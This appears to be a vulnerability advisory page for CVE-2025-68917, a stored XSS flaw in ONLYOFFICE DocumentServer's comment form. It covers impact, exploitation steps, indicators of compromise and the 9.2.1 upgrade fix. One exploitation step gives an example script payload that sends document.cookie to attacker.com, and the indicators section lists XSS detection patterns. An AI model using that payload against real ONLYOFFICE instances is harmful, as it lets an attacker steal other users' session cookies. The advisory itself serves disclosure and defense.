CVE-2025-68917
ONLYOFFICE DocumentServer vulnerability analysis and mitigation

Overview

CVE-2025-68917 is a stored Cross-Site Scripting (XSS) vulnerability in ONLYOFFICE Docs (DocumentServer) that allows authenticated attackers to inject malicious scripts via the textarea of the comment editing form. It affects all ONLYOFFICE Docs versions before 9.2.1. The CVE was published on December 24, 2025, and assigned by MITRE. It carries a CVSS v3.1 base score of 6.4 (Medium) (Red Hat CVE, ONLYOFFICE Changelog).

Technical details

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The root cause is insufficient sanitization of user-supplied input in the comment editing form's textarea within ONLYOFFICE DocumentServer. An authenticated attacker with low privileges can craft a malicious comment containing JavaScript payloads; because the input is not properly escaped before being rendered in the browser, the script executes in the context of other users who view the affected document. The attack vector is network-based, requires low privileges, no user interaction, and has a changed scope — meaning the injected script can affect resources beyond the vulnerable component itself (Red Hat CVE, ONLYOFFICE Changelog).

Impact

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browsers of other users who view or edit the affected document, potentially leading to session token theft, credential harvesting, unauthorized actions performed on behalf of victims, and defacement of document content. The changed scope means the impact extends beyond the attacker's own session to other authenticated users of the ONLYOFFICE instance. Confidentiality and integrity are both assessed as low impact, with no direct availability impact (Red Hat CVE).

Exploitability

No public proof-of-concept exploit code or evidence of in-the-wild exploitation has been reported as of the time of this report. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires an authenticated account with at least low-level privileges on the ONLYOFFICE instance (Red Hat CVE).

Exploitation steps

  1. Reconnaissance: Identify an ONLYOFFICE Docs instance running a version prior to 9.2.1, accessible over the network.
  2. Authentication: Obtain or use an existing low-privileged account on the target ONLYOFFICE instance.
  3. Open a shared document: Navigate to a document that is shared with or accessible by the intended victim users.
  4. Inject malicious payload: In the comment editing form, enter a crafted XSS payload in the textarea (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script> or an event-handler-based variant).
  5. Submit the comment: Save or submit the comment, causing the malicious script to be stored server-side.
  6. Victim triggers execution: When another authenticated user opens the document and views or interacts with the comment, the injected script executes in their browser context, potentially stealing session cookies, performing actions on their behalf, or exfiltrating data to an attacker-controlled server (ONLYOFFICE Changelog).

Indicators of compromise

  • Logs: ONLYOFFICE server access logs showing unusual comment submission requests containing HTML tags or JavaScript keywords (e.g., <script>, onerror=, javascript:) in comment body fields.
  • Network: Outbound HTTP/HTTPS requests from victim browsers to unexpected external domains shortly after accessing ONLYOFFICE documents — potentially indicating cookie or credential exfiltration.
  • Application: Presence of comments in documents containing encoded or obfuscated JavaScript payloads (e.g., &#60;script&#62;, %3Cscript%3E, or Base64-encoded strings).
  • Browser: Unexpected redirects or pop-ups experienced by users while viewing ONLYOFFICE documents, or browser developer console errors related to script execution from comment content.

Mitigation and workarounds

The vendor has addressed this vulnerability in ONLYOFFICE Docs version 9.2.1. Administrators should upgrade DocumentServer to version 9.2.1 or later as the primary remediation (ONLYOFFICE Changelog). No official configuration-based workaround has been published; until patching is possible, restricting access to the ONLYOFFICE instance to trusted users and monitoring comment activity for suspicious content can reduce risk. Organizations should also consider implementing a Content Security Policy (CSP) at the web server or reverse proxy level to limit the impact of any XSS execution.

Community reactions

The vulnerability received routine coverage from automated vulnerability tracking services and security aggregators such as Vulners, CIRCL, and INCIBE-CERT shortly after its December 24, 2025 disclosure. A brief mention appeared on Bluesky via a CVE tracking account. No notable independent researcher commentary, vendor blog posts, or significant media coverage has been identified beyond standard database entries (Red Hat CVE).

Additional resources


SourceThis report was generated using AI

Related ONLYOFFICE DocumentServer vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2023-46988MEDIUM6.7
  • ONLYOFFICE DocumentServer logoONLYOFFICE DocumentServer
  • cpe:2.3:a:onlyoffice:document_server
NoYesApr 01, 2025
CVE-2025-68917MEDIUM6.4
  • ONLYOFFICE DocumentServer logoONLYOFFICE DocumentServer
  • cpe:2.3:a:onlyoffice:document_server
NoYesDec 24, 2025
CVE-2025-68936MEDIUM6.1
  • ONLYOFFICE DocumentServer logoONLYOFFICE DocumentServer
  • cpe:2.3:a:onlyoffice:document_server
NoYesDec 25, 2025
CVE-2025-68935MEDIUM6.1
  • ONLYOFFICE DocumentServer logoONLYOFFICE DocumentServer
  • cpe:2.3:a:onlyoffice:document_server
NoYesDec 25, 2025
CVE-2023-50883MEDIUM6.1
  • ONLYOFFICE DocumentServer logoONLYOFFICE DocumentServer
  • cpe:2.3:a:onlyoffice:document_server
NoYesSep 09, 2024

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management